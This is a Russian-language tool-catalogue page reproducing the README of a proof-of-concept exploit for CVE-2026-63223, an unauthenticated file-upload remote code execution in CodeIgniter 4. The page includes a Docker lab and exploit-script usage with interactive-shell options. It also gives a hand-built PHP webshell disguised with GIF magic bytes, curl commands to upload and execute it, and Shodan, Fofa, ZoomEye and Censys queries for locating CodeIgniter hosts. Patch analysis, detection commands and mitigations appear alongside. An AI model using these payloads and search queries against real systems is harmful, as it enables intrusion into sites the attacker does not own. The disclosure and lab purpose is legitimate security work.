Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in Загрузка файлов RCE (CVSS 9.8). Неаутентифицированное удалённое выполнение кода через обход неограниченной загрузки файлов с использованием магических байтов изображений. Исправлено в v4.7.4. | Kitploit
Инструменты/GitHubGitHub/imbas007/cve-2026-63223-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHub
imbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in Загрузка файлов RCE (CVSS 9.8). Неаутентифицированное удалённое выполнение кода через обход неограниченной загрузки файлов с использованием магических байтов изображений. Исправлено в v4.7.4.

РепозиторийСайт
121 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-63223 PoC — CodeIgniter 4: RCE через загрузку файлов

CVSS 9.8 (Критический) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Неограниченная загрузка файла с опасным типом
Исправлено: CodeIgniter 4 v4.7.4
Уведомление: GHSA-mmj4-63m4-r6h5


Описание уязвимости

Правила проверки загрузки файлов CodeIgniter 4 is_image и mime_in проверяют только MIME-тип, определяемый по содержимому (магические байты), а не расширение имени файла, переданное клиентом.

Неаутентифицированный злоумышленник может добавить магические байты изображения (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) в начало PHP-вебшелла, назвать его , и он пройдёт проверку или , сохранив опасное исполняемое расширение. Когда загруженный файл сохраняется в каталоге, доступном через веб, злоумышленник получает .

shell.php
is_image
mime_in
произвольное удалённое выполнение кода

Условия срабатывания (должны быть выполнены все три)

  1. Приложение проверяет загрузки с помощью is_image или mime_in без независимой проверки расширения (ext_in)
  2. Загруженный файл сохраняется с именем, переданным клиентом (сохраняя расширение .php)
  3. Загрузки сохраняются в доступном через веб каталоге, где сервер выполняет PHP

Анализ патча

Исправление в v4.7.4 добавляет два новых вспомогательных метода и подключает их к правилам проверки:

is_image — До и после

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — До и после

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Новые вспомогательные методы

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Ключевой вывод: Исправление делегирует выполнение существующим методам Mimes::guessTypeFromExtension() и $file->guessExtension(), добавляя второй уровень проверки. Загрузки без расширения (например, объекты JavaScript Blob) по-прежнему принимаются.


Компоненты PoC

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

Быстрый старт — Docker-лаборатория

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Эндпоинты

ЭндпоинтУязвимостьПроверка
/upload/avatarУЯЗВИМтолько is_image
/upload/documentУЯЗВИМтолько mime_in
/upload/safeБЕЗОПАСЕН (контроль)is_image + ext_in

Эксплуатация

Метод 1 — Интерактивный

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Метод 2 — Вручную (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Метод 3 — Различные MIME-маскировки

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Почему это работает

Суперглобальный массив PHP $_FILES и объект UploadedFile CodeIgniter содержат два отдельных фрагмента информации:

  1. type / getMimeType() — получен из магических байтов файла (на основе содержимого), отправляется браузером как часть Content-Type multipart-загрузки
  2. name / getClientName() — исходное имя файла от клиента, включая расширение

До патча is_image и mime_in проверяли только #1. Злоумышленник отправляет:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image видит image/gif → проходит
  • ✅ Файл сохраняется как shell.php (имя клиента сохраняется)
  • ✅ Apache/PHP-FPM выполняет .php-файлы в каталоге загрузок → RCE

После патча расширение перекрёстно проверяется:

  • ❌ hasInvalidImageClientExtension() видит .php → отклоняет

Обнаружение и поиск

Обнаружение по журналам / форензика

Ищите файлы PHP/PHTML/PHP5 с магическими байтами изображений в каталоге загрузок:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Поисковые запросы Shodan

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Поисковые запросы Fofa

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

Устранение

  1. Обновитесь до CodeIgniter 4 v4.7.4+
  2. Обходной путь (если установка патча откладывается): добавьте правило ext_in вместе с is_image/mime_in
  3. Многоуровневая защита:
    • Храните загрузки вне веб-корня, отдавайте через прокси с readfile()
    • Отключите выполнение PHP в каталоге загрузок на уровне веб-сервера:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • Генерируйте имена файлов на стороне сервера вместо сохранения клиентских имён

Ссылки

  • Уведомление об уязвимости GitHub — GHSA-mmj4-63m4-r6h5
  • Коммит с исправлением — b6e9a4f
  • Релиз v4.7.4
  • Анализ IONIX Threat Center
  • Запись в NVD

Правовое уведомление

Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности. Уязвимость была ответственно раскрыта и исправлена. Не используйте этот PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент